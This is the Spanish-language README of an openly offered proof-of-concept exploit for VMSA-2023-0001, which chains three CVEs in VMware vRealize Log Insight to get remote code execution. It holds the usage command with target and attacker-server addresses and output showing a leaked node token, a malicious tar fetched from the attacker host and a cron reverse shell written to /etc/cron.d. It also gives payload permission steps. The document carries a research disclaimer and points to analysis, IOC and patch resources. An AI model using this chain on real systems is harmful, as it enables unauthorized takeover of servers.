
POC para RCE usando vulnerabilidades descritas en VMSA-2023-0001
POC para VMSA-2023-0001 que afecta a VMware vRealize Log Insight e incluye los siguientes CVEs:
La configuración predeterminada de esta vulnerabilidad escribe un trabajo cron para crear una
reverse shell. Asegúrate de cambiar el archivo payload para que se adapte a tu entorno.
En nuestro blog puedes encontrar un análisis técnico de la causa raíz de la vulnerabilidad: https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive
Para analizar instancias de Log Insight en busca de indicadores de compromiso, consulta nuestro blog de IOC: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
Este POC abusa de los distintos endpoints Thrift RPC para lograr una escritura arbitraria de archivos.
$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
Si usas un payload basado en cron, asegúrate de que el archivo payload tenga los permisos y el propietario adecuados:
sudo chown root:root payload
sudo chmod 0644 payload
Actualiza a la última versión o mitiga el riesgo siguiendo las instrucciones de la VMSA https://www.vmware.com/security/advisories/VMSA-2023-0001.html
Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas eficaces, y no está destinado a utilizarse para atacar sistemas salvo que se cuente con autorización explícita. Los mantenedores del proyecto no son responsables del uso indebido del software. Úsalo de forma responsable.